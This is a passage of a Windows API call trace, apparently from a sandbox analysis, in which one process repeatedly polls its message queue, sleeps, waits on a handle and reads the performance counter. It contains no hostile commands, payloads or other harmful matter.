[0133.027] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.028] Sleep (dwMilliseconds=0x64) [0133.045] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.045] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718228977) returned 1 [0133.045] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718229158) returned 1 [0133.046] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.046] Sleep (dwMilliseconds=0x64) [0133.058] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.058] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718272999) returned 1 [0133.058] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718273183) returned 1 [0133.059] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.059] Sleep (dwMilliseconds=0x64) [0133.074] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.074] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718328217) returned 1 [0133.074] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718328403) returned 1 [0133.075] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.075] Sleep (dwMilliseconds=0x64) [0133.089] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.089] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718379579) returned 1 [0133.089] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718379780) returned 1 [0133.090] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.090] Sleep (dwMilliseconds=0x64) [0133.105] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.105] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718433583) returned 1 [0133.105] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718433782) returned 1 [0133.106] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.106] Sleep (dwMilliseconds=0x64) [0133.121] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.121] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718487555) returned 1 [0133.121] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718487754) returned 1 [0133.121] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.122] Sleep (dwMilliseconds=0x64) [0133.136] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.136] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718539867) returned 1 [0133.136] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718540069) returned 1 [0133.137] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.137] Sleep (dwMilliseconds=0x64) [0133.152] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.152] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718595126) returned 1 [0133.152] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718595323) returned 1 [0133.153] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.153] Sleep (dwMilliseconds=0x64) [0133.168] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.168] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718650831) returned 1 [0133.169] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718651027) returned 1 [0133.169] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.170] Sleep (dwMilliseconds=0x64) [0133.183] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.183] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718699684) returned 1 [0133.183] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718699881) returned 1 [0133.183] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.184] Sleep (dwMilliseconds=0x64) [0133.199] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.199] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718756690) returned 1 [0133.199] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718756872) returned 1 [0133.200] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.201] Sleep (dwMilliseconds=0x64) [0133.214] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.214] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718806219) returned 1 [0133.214] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718806401) returned 1 [0133.215] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.215] Sleep (dwMilliseconds=0x64) [0133.229] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.229] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718859408) returned 1 [0133.230] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718859592) returned 1 [0133.230] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.231] Sleep (dwMilliseconds=0x64) [0133.245] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.245] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718912803) returned 1 [0133.245] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718913008) returned 1 [0133.246] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.246] Sleep (dwMilliseconds=0x64) [0133.261] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.261] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718968631) returned 1 [0133.262] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718968826) returned 1 [0133.262] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.263] Sleep (dwMilliseconds=0x64) [0133.277] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.277] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=719020662) returned 1 [0133.277] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=719020859) returned 1 [0133.277] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.278] Sleep (dwMilliseconds=0x64) [0133.292] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.292] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=719072782) returned 1 [0133.292] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=719072980) returned 1 [0133.293] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.293] Sleep (dwMilliseconds=0x64) [0133.307] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.308] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=719126170) returned 1 [0133.308] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=719126369) returned 1 [0133.308] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.309] Sleep (dwMilliseconds=0x64) [0133.324] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.324] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=719182812) returned 1 [0133.324] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=719182995) returned 1 [0133.325] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.325] Sleep (dwMilliseconds=0x64) [0133.339] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.339] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=719232784) returned 1 [0133.339] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=719232968) returned 1 [0133.339] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.340] Sleep (dwMilliseconds=0x64) [0133.355] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.355] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=719287130) returned 1 [0133.355] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=719287316) returned 1 [0133.355] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.356] Sleep (dwMilliseconds=0x64) [0133.370] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.371] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=719341437) returned 1 [0133.371] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=719341620) returned 1 [0133.371] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.372] Sleep (dwMilliseconds=0x64) [0133.386] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.386] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=719392945) returned 1 [0133.386] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=719393117) returned 1 [0133.386] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.387] Sleep (dwMilliseconds=0x64) [0133.401] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.401] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=719446019) returned 1 [0133.401] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=719446191) returned 1 [0133.402] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.402] Sleep (dwMilliseconds=0x64) [0133.417] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.417] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=719499178) returned 1 [0133.417] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=719499350) returned 1 [0133.417] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.418] Sleep (dwMilliseconds=0x64) [0133.432] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.432] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=719552651) returned 1 [0133.432] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=719552851) returned 1 [0133.433] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.433] Sleep (dwMilliseconds=0x64) [0133.448] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.448] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=719606252) returned 1 [0133.448] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=719606453) returned 1 [0133.449] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.449] Sleep (dwMilliseconds=0x64) [0133.504] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.504] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=719797038) returned 1 [0133.504] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=719797211) returned 1 [0133.505] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.506] Sleep (dwMilliseconds=0x64) [0133.510] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.510] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=719819864) returned 1 [0133.511] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=719820015) returned 1 [0133.511] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.511] Sleep (dwMilliseconds=0x64) [0133.526] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.526] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=719872543) returned 1 [0133.526] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=719872684) returned 1 [0133.526] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.527] Sleep (dwMilliseconds=0x64) [0133.541] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.541] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=719925817) returned 1 [0133.542] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=719925955) returned 1 [0133.542] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.542] Sleep (dwMilliseconds=0x64) [0133.557] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.557] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=719979556) returned 1 [0133.557] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=719979692) returned 1 [0133.558] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.558] Sleep (dwMilliseconds=0x64) [0133.573] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.573] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=720032594) returned 1 [0133.573] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=720032729) returned 1 [0133.573] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.574] Sleep (dwMilliseconds=0x64) [0133.588] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.588] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=720085625) returned 1 [0133.588] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=720085765) returned 1 [0133.589] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.589] Sleep (dwMilliseconds=0x64) [0133.604] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.604] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=720140939) returned 1 [0133.604] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=720141075) returned 1 [0133.605] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.605] Sleep (dwMilliseconds=0x64) [0133.619] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.620] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=720192573) returned 1 [0133.620] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=720192710) returned 1 [0133.620] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.620] Sleep (dwMilliseconds=0x64) [0133.635] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.635] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=720245706) returned 1 [0133.635] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=720245840) returned 1 [0133.636] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.636] Sleep (dwMilliseconds=0x64) [0133.651] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.651] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=720299130) returned 1 [0133.651] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=720299333) returned 1 [0133.651] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.652] Sleep (dwMilliseconds=0x64) [0133.666] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.666] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=720352354) returned 1 [0133.666] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=720352525) returned 1 [0133.667] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.667] Sleep (dwMilliseconds=0x64) [0133.682] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.682] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=720405686) returned 1 [0133.682] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=720405857) returned 1 [0133.682] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.683] Sleep (dwMilliseconds=0x64) [0133.699] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.699] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=720465839) returned 1 [0133.700] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=720466028) returned 1 [0133.700] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.701] Sleep (dwMilliseconds=0x64) [0133.715] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.715] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=720517798) returned 1 [0133.715] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=720517997) returned 1 [0133.715] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.716] Sleep (dwMilliseconds=0x64) [0133.729] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.729] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=720565762) returned 1 [0133.729] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=720565945) returned 1 [0133.729] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.730] Sleep (dwMilliseconds=0x64) [0133.744] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.744] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=720618972) returned 1 [0133.744] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=720619158) returned 1 [0133.745] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.745] Sleep (dwMilliseconds=0x64) [0133.766] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.766] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=720694784) returned 1 [0133.767] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=720695288) returned 1 [0133.767] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.768] Sleep (dwMilliseconds=0x64) [0133.775] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.776] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=720725716) returned 1 [0133.776] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=720725898) returned 1 [0133.776] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.777] Sleep (dwMilliseconds=0x64) [0133.791] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.791] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=720778962) returned 1 [0133.791] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=720779146) returned 1 [0133.792] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.792] Sleep (dwMilliseconds=0x64) [0133.807] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.807] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=720832210) returned 1 [0133.807] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=720832384) returned 1 [0133.807] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.808] Sleep (dwMilliseconds=0x64) [0133.823] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.823] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=720887887) returned 1 [0133.823] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=720888108) returned 1 [0133.824] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.824] Sleep (dwMilliseconds=0x64) [0133.838] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.838] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=720938903) returned 1 [0133.838] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=720939062) returned 1 